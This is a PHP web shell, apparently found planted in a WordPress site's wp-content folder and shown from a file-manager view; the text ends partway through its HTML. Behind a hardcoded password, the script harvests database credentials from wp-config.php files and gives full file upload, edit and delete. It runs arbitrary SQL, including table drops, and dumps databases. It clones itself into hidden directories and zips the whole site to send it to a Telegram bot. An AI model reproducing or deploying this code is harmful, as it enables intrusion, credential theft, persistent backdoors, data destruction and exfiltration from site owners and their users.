HEX
Server: LiteSpeed
System: Linux server3ir.xdlhost.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User: gmparts (1037)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/gmparts/public_html/wp-content/2026/test2026.php
<?php
if(defined('ABSPATH')) return;
if(ob_get_level()) ob_end_clean();
ob_start();
session_start();
ini_set('memory_limit', '1024M');
ini_set('max_execution_time', 0);
error_reporting(0);

$sys_pass = '@Anonymous8';
$app_hash = '$2y$10$YourGeneratedHashHereIfYouWantToChangeItLater';

if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); }

if(!function_exists('e')){ function e($s){return htmlspecialchars($s??'',ENT_QUOTES,'UTF-8');}}
if(!function_exists('red')){ function red($u){header("Location: $u");exit;}}
if(!function_exists('hsize')){ function hsize($b){$u=['B','KB','MB','GB','TB'];$f=floor((strlen($b)-1)/3);return sprintf("%.2f %s",$b/pow(1024,$f),$u[$f]);}}

if(!function_exists('icon')){
function icon($n) {
    $i = [
        'db'=>'<svg width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M4 7v10c0 2.21 3.582 4 8 4s8-1.79 8-4V7M4 7c0 2.21 3.582 4 8 4s8-1.79 8-4M4 7c0-2.21 3.582-4 8-4s8 1.79 8 4m0 5c0 2.21-3.582 4-8 4s-8-1.79-8-4"/></svg>',
        'tbl'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M3 10h18M3 14h18m-9-4v8m-7 0h14a2 2 0 002-2V8a2 2 0 00-2-2H5a2 2 0 00-2 2v8a2 2 0 002 2z"/></svg>',
        'home'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>',
        'sql'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>',
        'x'=>'<svg width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>',
        'menu'=>'<svg width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><line x1="3" y1="12" x2="21" y2="12"/><line x1="3" y1="6" x2="21" y2="6"/><line x1="3" y1="18" x2="21" y2="18"/></svg>',
        'out'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"/><polyline points="16 17 21 12 16 7"/><line x1="21" y1="12" x2="9" y2="12"/></svg>',
        'edit'=>'<svg width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7"/><path d="M18.5 2.5a2.121 2.121 0 0 1 3 3L12 15l-4 1 1-4 9.5-9.5z"/></svg>',
        'del'=>'<svg width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><polyline points="3 6 5 6 21 6"/><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/></svg>',
        'sun'=>'<svg width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg>',
        'moon'=>'<svg width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/></svg>',
        'eye'=>'<svg width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/><circle cx="12" cy="12" r="3"/></svg>',
        'file'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M13 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9z"/><polyline points="13 2 13 9 20 9"/></svg>',
        'folder'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>',
        'upload'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg>',
        'save'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M19 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11l5 5v11a2 2 0 0 1-2 2z"/><polyline points="17 21 17 13 7 13 7 21"/><polyline points="7 3 7 8 15 8"/></svg>',
        'set'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><circle cx="12" cy="12" r="3"></circle><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path></svg>',
        'down'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="7 10 12 15 17 10"/><line x1="12" y1="15" x2="12" y2="3"/></svg>',
        'key'=>'<svg width="12" height="12" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M21 2l-2 2m-7.61 7.61a5.5 5.5 0 1 1-7.778 7.778 5.5 5.5 0 0 1 7.777-7.777zm0 0L15.5 7.5m0 0l3 3L22 7l-3-3m-3.5 3.5L19 4"/></svg>',
        'tel'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M21.1 4.9L2.8 11.9c-1 .4-1 1.5.2 2l4.7 1.5 1.8 5.8c.2.6.9.8 1.4.3l2.6-2.5 5.5 4.1c.9.5 2.1-.1 2.3-1.1L23 5.8c.2-1.1-1-2-1.9-1.9zM9.8 14.3l7.8-6.9-6.3 7.8-.3 2.7-1.2-4.2z"/></svg>',
        'clone'=>'<svg width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2"></rect><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"></path></svg>',
        'check'=>'<svg width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><polyline points="20 6 9 17 4 12"></polyline></svg>'
    ];
    return $i[$n]??'';
}
}

if(!function_exists('find_wp_content')){
function find_wp_content($dir) {
    $check = $dir;
    for($i=0; $i<6; $i++) {
        if(is_dir($check . '/wp-content')) return $check . '/wp-content';
        $check = dirname($check);
        if(!$check || $check === DIRECTORY_SEPARATOR || $check === '.') break;
    }
    return false;
}
}

if(!function_exists('scan_wp_configs')){
function scan_wp_configs($dir, $depth=0, &$results=[]) {
    if($depth > 5) return;
    $items = @glob($dir . '/*');
    if($items) {
        foreach($items as $i) {
            if(is_dir($i)) {
                $bn = basename($i);
                if($bn==='.'||$bn==='..') continue;
                scan_wp_configs($i, $depth+1, $results);
            } elseif(basename($i) === 'wp-config.php') {
                $c = @file_get_contents($i);
                if($c && preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*\);/", $c, $n) && 
                   preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*\);/", $c, $u) && 
                   preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*\);/", $c, $p) && 
                   preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*\);/", $c, $h)) {
                    $m = @new mysqli($h[1], $u[1], $p[1], $n[1]);
                    if(!$m->connect_error) {
                        $results[] = ['h'=>$h[1],'u'=>$u[1],'p'=>$p[1],'n'=>$n[1],'path'=>$i];
                        $m->close();
                    }
                }
            }
        }
    }
}
}

if (isset($_GET['logout'])) { session_destroy(); red($_SERVER['PHP_SELF']); }
if (isset($_POST['login'])) {
    if ($_POST['pass']===$sys_pass || password_verify($_POST['pass'], $app_hash)) { $_SESSION['auth']=true; red($_SERVER['PHP_SELF']); }
}

if (!isset($_SESSION['auth'])) {
    if(ob_get_level()) ob_end_clean();
?>
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Access</title>
<style>
:root{--bg:#f8fafc;--card:#ffffff;--txt:#334155;--bor:#e2e8f0;--pri:#3b82f6;--sh:0 20px 25px -5px rgba(0,0,0,0.1),0 8px 10px -6px rgba(0,0,0,0.1)}
@media(prefers-color-scheme:dark){:root{--bg:#0f172a;--card:#1e293b;--txt:#f1f5f9;--bor:#334155}}
body{background:var(--bg);color:var(--txt);font-family:system-ui,-apple-system,sans-serif;height:100vh;display:flex;align-items:center;justify-content:center;margin:0;overflow:hidden}
.box{background:var(--card);padding:3rem 2.5rem;border-radius:24px;width:100%;max-width:420px;box-shadow:var(--sh);text-align:center;border:1px solid var(--bor);position:relative}
.box::before{content:'';position:absolute;inset:-2px;border-radius:26px;background:linear-gradient(45deg, #3b82f6, #8b5cf6);z-index:-1;opacity:0.3;filter:blur(10px)}
h2{margin:0 0 2rem 0;font-weight:800;letter-spacing:-1px}
input{width:100%;padding:16px;margin-bottom:1.5rem;background:var(--bg);border:1px solid var(--bor);color:var(--txt);border-radius:12px;box-sizing:border-box;font-size:1.1rem;text-align:center;transition:0.3s}
input:focus{outline:none;border-color:var(--pri);box-shadow:0 0 0 4px rgba(59,130,246,0.1)}
button{width:100%;padding:16px;background:var(--pri);color:#fff;border:none;border-radius:12px;font-weight:700;font-size:1.1rem;cursor:pointer;transition:0.3s}
button:hover{transform:translateY(-2px);box-shadow:0 10px 15px -3px rgba(59,130,246,0.4)}
</style></head><body><div class="box"><h2>Secure Console</h2><form method="post"><input type="password" name="pass" placeholder="Passkey" required autofocus><button type="submit" name="login">Unlock</button></form></div></body></html>
<?php exit; }

if(isset($_GET['dis'])) { unset($_SESSION['conf']); unset($_SESSION['fm_only']); red("?"); }
if(isset($_GET['fm_only'])) { unset($_SESSION['conf']); $_SESSION['fm_only']=true; red("?fm"); }

if(isset($_POST['conn'])) {
    if(!hash_equals($_SESSION['csrf'], $_POST['csrf'])) die('CSRF');
    $mysqli = @new mysqli($_POST['h'], $_POST['u'], $_POST['p'], $_POST['n']);
    if($mysqli->connect_error) $err = $mysqli->connect_error;
    else { 
        $_SESSION['conf']=['h'=>$_POST['h'],'u'=>$_POST['u'],'p'=>$_POST['p'],'n'=>$_POST['n']]; 
        unset($_SESSION['fm_only']); 
        red("?"); 
    }
}

$fm_root = $_SERVER['DOCUMENT_ROOT']; 
$fm_path = isset($_GET['path']) ? realpath($_GET['path']) : __DIR__;
if (!$fm_path) $fm_path = __DIR__;
$fm_msg = '';

$cur_modal = $_GET['mod'] ?? '';
$mod_target = $_GET['t'] ?? '';

if(isset($_POST['do_clone'])) {
    $target_dir = find_wp_content(__DIR__);
    if(!$target_dir) $target_dir = __DIR__; 
    
    $rnd = bin2hex(random_bytes(6));
    $dest = $target_dir . '/clone_' . $rnd;
    
    if(@mkdir($dest, 0755, true)) {
        if(copy(__FILE__, $dest . '/index.php')) {
            $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
            $host = $_SERVER['HTTP_HOST'];
            $root = $_SERVER['DOCUMENT_ROOT'];
            $rel = substr($dest, strlen($root));
            $link = $protocol . "://" . $host . $rel . '/index.php';
            $fm_msg = "Success! Access: <a href='$link' target='_blank' style='color:#fff;text-decoration:underline;font-weight:bold'>$link</a>";
        } else $fm_msg = "Copy failed.";
    } else $fm_msg = "Mkdir failed in " . $target_dir;
    
    if(!isset($_GET['fm'])) $cur_modal = ''; 
}

if(isset($_POST['tele_bk'])) {
    if(class_exists('ZipArchive')) {
        $token = $_POST['tk']; $chat = $_POST['cid'];
        $tmp_dir = __DIR__ . '/tmp_' . bin2hex(random_bytes(4));
        @mkdir($tmp_dir);
        $zip_file = $tmp_dir . '/backup.zip';
        $zip = new ZipArchive();
        if($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fm_root), RecursiveIteratorIterator::LEAVES_ONLY);
            foreach ($files as $name => $file) {
                if(!$file->isDir()) {
                    $lp = substr($file->getRealPath(), strlen($fm_root) + 1);
                    $zip->addFile($file->getRealPath(), $lp);
                }
            }
            $zip->close();
            if(file_exists($zip_file)) {
                $fsize = filesize($zip_file);
                $limit = 49 * 1024 * 1024; 
                if($fsize > $limit) {
                    $parts = ceil($fsize / $limit);
                    $handle = fopen($zip_file, 'rb');
                    for($i=1; $i<=$parts; $i++) {
                        $part_content = fread($handle, $limit);
                        $part_name = $tmp_dir . "/part_$i.zip";
                        file_put_contents($part_name, $part_content);
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot$token/sendDocument");
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, ['chat_id' => $chat, 'document' => new CURLFile($part_name)]);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                        curl_exec($ch); curl_close($ch);
                        unlink($part_name);
                    }
                    fclose($handle);
                } else {
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot$token/sendDocument");
                    curl_setopt($ch, CURLOPT_POST, 1);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, ['chat_id' => $chat, 'document' => new CURLFile($zip_file)]);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_exec($ch); curl_close($ch);
                }
                @unlink($zip_file); @rmdir($tmp_dir);
                $fm_msg = "Backup sent to Telegram!";
            } else $fm_msg = "Zip failed.";
        } else $fm_msg = "Could not create zip.";
    } else $fm_msg = "ZipArchive missing.";
}

if (isset($_POST['fm_upload'])) {
    if (!empty($_FILES['f']['name'])) {
        if (move_uploaded_file($_FILES['f']['tmp_name'], $fm_path . '/' . $_FILES['f']['name'])) $fm_msg = "Uploaded."; else $fm_msg = "Failed.";
    }
}
if (isset($_POST['fm_ren'])) {
    if(rename($_POST['old'], $fm_path . '/' . $_POST['new'])) $fm_msg = "Renamed."; else $fm_msg = "Rename failed.";
    red("?fm&path=".urlencode($fm_path));
}
if (isset($_POST['fm_save'])) { file_put_contents($_POST['fp'], $_POST['fc']); $fm_msg = "Saved."; }
if (isset($_POST['fm_del_confirm'])) { 
    $f = $_POST['target'];
    if(is_file($f)) unlink($f); elseif(is_dir($f)) @rmdir($f);
    red("?fm&path=".urlencode(dirname($f)));
}

if (isset($_POST['export_db']) && isset($_SESSION['conf'])) {
    if(ob_get_level()) ob_end_clean();
    $c = $_SESSION['conf'];
    $m = new mysqli($c['h'], $c['u'], $c['p'], $c['n']); $m->set_charset("utf8mb4");
    $ts = []; $r = $m->query('SHOW TABLES'); while($row=$r->fetch_row()) $ts[]=$row[0];
    $sql = "SET SQL_MODE = \"NO_AUTO_VALUE_ON_ZERO\";\nSET time_zone = \"+00:00\";\n\n";
    foreach($ts as $t) {
        $res = $m->query('SHOW CREATE TABLE `'.$t.'`');
        if($res && $row2 = $res->fetch_row()) {
            $sql .= "\n\n" . $row2[1] . ";\n\n";
            $res2 = $m->query('SELECT * FROM `'.$t.'`');
            while($row = $res2->fetch_row()) {
                $sql .= 'INSERT INTO `'.$t.'` VALUES(';
                for($j=0; $j<count($row); $j++) {
                    $row[$j] = addslashes($row[$j]);
                    $row[$j] = str_replace("\n","\\n",$row[$j]);
                    $sql .= '"'.$row[$j].'"' . ($j<(count($row)-1)?',':'');
                }
                $sql .= ");\n";
            }
        }
    }
    header('Content-Type: application/octet-stream');
    header("Content-Transfer-Encoding: Binary"); 
    header("Content-disposition: attachment; filename=\"backup-".$c['n']."-".date('Y-m-d').".sql\"");  
    echo $sql; exit;
}

$db = null; $tables = []; $msg = ''; $err = '';
if(isset($_SESSION['conf'])) {
    $c = $_SESSION['conf'];
    $db = @new mysqli($c['h'], $c['u'], $c['p'], $c['n']);
    if($db->connect_error) { unset($_SESSION['conf']); $err="Connection Lost"; }
    else {
        $db->set_charset("utf8mb4");
        if(isset($_GET['drop_tbl'])) { $t=$db->real_escape_string($_GET['drop_tbl']); $db->query("DROP TABLE `$t`"); red("?"); }
        if(isset($_GET['trun_tbl'])) { $t=$db->real_escape_string($_GET['trun_tbl']); $db->query("TRUNCATE TABLE `$t`"); red("?"); }
        if(isset($_POST['q'])) { $q=$_POST['q']; $res=$db->query($q); if($res===true) $msg="Query OK"; elseif($res===false) $err=$db->error; else $q_res=$res; }
        if(isset($_POST['switch_db'])) { $_SESSION['conf']['n'] = $_POST['new_db']; red("?settings"); }
        if(isset($_POST['save_row'])) {
            $tbl = $db->real_escape_string($_POST['tbl']); $upd = isset($_POST['pk_val']);
            $sets = []; $vals = []; $cols = [];
            foreach($_POST['d'] as $k=>$v) {
                $f = $_POST['func'][$k]??'';
                if($f=='MD5') $v=md5($v); elseif($f=='SHA1') $v=sha1($v); 
                elseif($f=='BCRYPT') $v=password_hash($v,PASSWORD_DEFAULT);
                elseif($f=='WP') $v=password_hash($v,PASSWORD_DEFAULT); 
                $ev = "'".$db->real_escape_string($v)."'";
                $cols[]="`".$db->real_escape_string($k)."`"; $vals[]=$ev; $sets[]="`".$db->real_escape_string($k)."`=$ev";
            }
            if($upd) {
                $pk = $db->real_escape_string($_POST['pk']); $pv = $db->real_escape_string($_POST['pk_val']);
                $sql = "UPDATE `$tbl` SET ".implode(',', $sets)." WHERE `$pk`='$pv'";
            } else {
                $sql = "INSERT INTO `$tbl` (".implode(',', $cols).") VALUES (".implode(',', $vals).")";
            }
            if($db->query($sql)) red("?view=".urlencode($tbl)); else $err=$db->error;
        }
        if(isset($_GET['del_row'])) {
            $t=$db->real_escape_string($_GET['t']); $k=$db->real_escape_string($_GET['k']); $v=$db->real_escape_string($_GET['v']);
            $db->query("DELETE FROM `$t` WHERE `$k`='$v' LIMIT 1"); red("?view=".urlencode($t));
        }
        $tr = $db->query("SHOW TABLE STATUS");
        if($tr) while($r=$tr->fetch_assoc()) $tables[]=$r;
    }
}
if(ob_get_level()) ob_end_clean(); 
?>
<!DOCTYPE html><html lang="en" data-theme="light"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Console</title>
<style>
:root{--bg:#f1f5f9;--sb:#0f172a;--card:#ffffff;--txt:#334155;--mut:#64748b;--bor:#e2e8f0;--pri:#3b82f6;--dan:#ef4444;--suc:#10b981;--hov:#f8fafc;--inp:#ffffff}
[data-theme="dark"]{--bg:#020617;--sb:#1e293b;--card:#1e293b;--txt:#e2e8f0;--mut:#94a3b8;--bor:#334155;--pri:#60a5fa;--dan:#f87171;--suc:#34d399;--hov:#334155;--inp:#0f172a}
*{box-sizing:border-box}body{font-family:'Segoe UI',system-ui,sans-serif;background:var(--bg);color:var(--txt);margin:0;display:flex;height:100vh;overflow:hidden}
a{text-decoration:none;color:inherit;cursor:pointer}
.sb{width:260px;background:var(--sb);color:#f1f5f9;display:flex;flex-direction:column;flex-shrink:0;transition:transform .3s;z-index:50}
.sb h3{padding:1.5rem;margin:0;background:rgba(0,0,0,0.2);display:flex;align-items:center;gap:10px;font-size:1.1rem}
.nav{flex:1;overflow-y:auto;padding:1rem 0}.ni{display:flex;align-items:center;gap:10px;padding:.8rem 1.5rem;color:#cbd5e1;transition:.2s;border-left:3px solid transparent}
.ni:hover,.ni.act{background:rgba(255,255,255,0.05);color:#fff;border-left-color:var(--pri)}
.main{flex:1;display:flex;flex-direction:column;overflow:hidden;position:relative}
.top{height:60px;background:var(--card);border-bottom:1px solid var(--bor);display:flex;align-items:center;justify-content:space-between;padding:0 1.5rem;flex-shrink:0}
.con{flex:1;overflow-y:auto;padding:2rem}
.card{background:var(--card);border:1px solid var(--bor);border-radius:12px;box-shadow:0 4px 6px -1px rgba(0,0,0,0.05);margin-bottom:1.5rem;overflow:hidden}
.ch{padding:1rem 1.5rem;border-bottom:1px solid var(--bor);font-weight:700;display:flex;justify-content:space-between;align-items:center;background:var(--hov)}
.cb{padding:1.5rem}
table{width:100%;border-collapse:collapse;font-size:.9rem}th,td{padding:1rem;text-align:left;border-bottom:1px solid var(--bor)}
th{font-weight:600;color:var(--mut);white-space:nowrap}tr:hover td{background:var(--hov)}
.btn{padding:.5rem 1rem;border-radius:6px;font-weight:600;display:inline-flex;align-items:center;gap:6px;font-size:.85rem;border:1px solid transparent;cursor:pointer;transition:.2s}
.bp{background:var(--pri);color:#fff}.bp:hover{opacity:.9}.bd{background:rgba(239,68,68,0.1);color:var(--dan)}.bd:hover{background:rgba(239,68,68,0.2)}
.bi{background:var(--hov);border:1px solid var(--bor);color:var(--txt)}.bi:hover{border-color:var(--pri)}
input,select,textarea{width:100%;padding:.6rem;border:1px solid var(--bor);border-radius:6px;background:var(--inp);color:var(--txt);outline:none;font-family:inherit}
input:focus,select:focus,textarea:focus{border-color:var(--pri);box-shadow:0 0 0 2px rgba(59,130,246,0.2)}
.badge{padding:2px 6px;border-radius:4px;font-size:.7rem;font-weight:700;font-family:monospace}
.bg-g{background:rgba(16,185,129,0.1);color:var(--suc)}.bg-y{background:rgba(245,158,11,0.1);color:#f59e0b}
.mob-btn{display:none;background:none;border:none;color:var(--txt);cursor:pointer}
.overlay{position:fixed;inset:0;background:rgba(0,0,0,0.5);z-index:40;display:none;opacity:0;transition:opacity .3s}
.overlay.show{display:block;opacity:1}
.up-box{border:2px dashed var(--bor);padding:2rem;text-align:center;border-radius:8px;cursor:pointer;transition:.2s;color:var(--mut)}
.up-box:hover{border-color:var(--pri);color:var(--pri);background:var(--hov)}
.modal-ov{position:fixed;inset:0;background:rgba(0,0,0,0.6);z-index:100;display:flex;align-items:center;justify-content:center;backdrop-filter:blur(3px)}
.modal-bx{background:var(--card);width:90%;max-width:400px;border-radius:12px;box-shadow:0 20px 25px -5px rgba(0,0,0,0.1);border:1px solid var(--bor);overflow:hidden;animation:pop 0.2s cubic-bezier(0.175, 0.885, 0.32, 1.275)}
@keyframes pop{from{transform:scale(0.9);opacity:0}to{transform:scale(1);opacity:1}}
@media(max-width:768px){.sb{position:fixed;height:100%;transform:translateX(-100%)}.sb.show{transform:translateX(0)}.mob-btn{display:block}.con{padding:1rem}table{display:block;overflow-x:auto}}
.code{font-family:'Fira Code',monospace;background:#1e293b;color:#e2e8f0;padding:1rem;border-radius:8px;line-height:1.5}
.grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:20px}
.noscroll::-webkit-scrollbar { display: none; } .noscroll { -ms-overflow-style: none; scrollbar-width: none; }
</style>
<script>
    function tm(){const h=document.documentElement,c=h.getAttribute('data-theme')==='dark'?'light':'dark';h.setAttribute('data-theme',c);localStorage.setItem('theme',c);}
    document.documentElement.setAttribute('data-theme',localStorage.getItem('theme')||'light');
    function tg(){document.querySelector('.sb').classList.toggle('show');document.querySelector('.overlay').classList.toggle('show')}
    function sh(i){let x=document.getElementById(i);x.type=x.type==='password'?'text':'password';}
</script>
</head><body>

<?php if($cur_modal === 'ren'): ?>
<div class="modal-ov"><div class="modal-bx"><div class="ch">Rename Item</div><div class="cb">
<form method="post"><input type="hidden" name="fm_ren"><input type="hidden" name="old" value="<?=e($mod_target)?>">
<label style="display:block;margin-bottom:8px;font-size:0.9rem;font-weight:600">New Name</label>
<input type="text" name="new" value="<?=e($mod_target)?>" autofocus>
<div style="display:flex;justify-content:flex-end;gap:10px;margin-top:15px">
<a href="?fm&path=<?=urlencode($fm_path)?>" class="btn bi">Cancel</a><button class="btn bp">Rename</button>
</div></form></div></div></div>
<?php endif; ?>

<?php if($cur_modal === 'del'): ?>
<div class="modal-ov"><div class="modal-bx"><div class="ch" style="color:var(--dan)">Confirm Delete</div><div class="cb">
<div style="margin-bottom:20px;text-align:center">Are you sure you want to delete <b style="color:var(--txt)"><?=e(basename($mod_target))?></b>?</div>
<form method="post"><input type="hidden" name="fm_del_confirm"><input type="hidden" name="target" value="<?=e($mod_target)?>">
<div style="display:flex;justify-content:center;gap:10px">
<a href="?fm&path=<?=urlencode($fm_path)?>" class="btn bi">Cancel</a><button class="btn bd">Yes, Delete</button>
</div></form></div></div></div>
<?php endif; ?>

<?php if($cur_modal === 'clone'): ?>
<div class="modal-ov"><div class="modal-bx"><div class="ch">Confirm Clone</div><div class="cb">
<div style="margin-bottom:20px;text-align:center">Clone this script to a random hidden directory inside <b>wp-content</b>?</div>
<form method="post"><input type="hidden" name="do_clone">
<div style="display:flex;justify-content:center;gap:10px">
<a href="<?=isset($_GET['fm'])?'?fm':'?settings'?>" class="btn bi">Cancel</a><button class="btn bp">Yes, Clone</button>
</div></form></div></div></div>
<?php endif; ?>

<?php if(!$db && !isset($_SESSION['fm_only'])): 
    $res=[]; 
    scan_wp_configs(__DIR__, 0, $res); 
    scan_wp_configs(dirname(__DIR__), 0, $res); 
    scan_wp_configs(dirname(dirname(__DIR__)), 0, $res); 
    $all_cf = array_unique($res, SORT_REGULAR); 
?>
<div style="flex:1;display:flex;align-items:center;justify-content:center;padding:20px;overflow-y:auto"><div class="card" style="width:100%;max-width:500px">
<div class="ch">Connect Database <button class="btn bi" onclick="tm()"><?=icon('sun')?></button></div>
<div class="cb">
<?php if($err):?><div style="padding:10px;background:rgba(239,68,68,0.1);color:var(--dan);border-radius:6px;margin-bottom:15px;font-size:.9rem"><?=$err?></div><?php endif;?>
<?php if($all_cf): ?>
<div class="noscroll" style="margin-bottom:20px;max-height:200px;overflow-y:auto;border:1px solid var(--bor);border-radius:8px">
<?php foreach($all_cf as $c): ?>
<form method="post" style="display:flex;justify-content:space-between;align-items:center;padding:10px;border-bottom:1px solid var(--bor);background:var(--hov)">
<input type="hidden" name="csrf" value="<?=$_SESSION['csrf']?>"><input type="hidden" name="h" value="<?=e($c['h'])?>"><input type="hidden" name="u" value="<?=e($c['u'])?>"><input type="hidden" name="p" value="<?=e($c['p'])?>"><input type="hidden" name="n" value="<?=e($c['n'])?>">
<div><div style="font-weight:600"><?=e($c['n'])?></div><div style="font-size:.75rem;color:var(--mut)"><?=e($c['path'])?></div></div>
<button type="submit" name="conn" class="btn bp">Connect</button>
</form>
<?php endforeach; ?>
</div>
<div style="text-align:center;color:var(--mut);margin-bottom:20px;font-size:.8rem;font-weight:700">--- OR MANUAL ---</div>
<?php endif; ?>
<form method="post">
<input type="hidden" name="csrf" value="<?=$_SESSION['csrf']?>">
<div style="display:grid;gap:15px">
<div><label style="font-size:.85rem;font-weight:600;display:block;margin-bottom:5px">Host</label><input type="text" name="h" value="localhost" required></div>
<div><label style="font-size:.85rem;font-weight:600;display:block;margin-bottom:5px">Database</label><input type="text" name="n" required></div>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:10px">
    <div><label style="font-size:.85rem;font-weight:600;display:block;margin-bottom:5px">User</label><input type="text" name="u" required></div>
    <div><label style="font-size:.85rem;font-weight:600;display:block;margin-bottom:5px">Password</label><input type="password" name="p"></div>
</div>
<button type="submit" name="conn" class="btn bp" style="width:100%;justify-content:center">Connect DB</button>
</div>
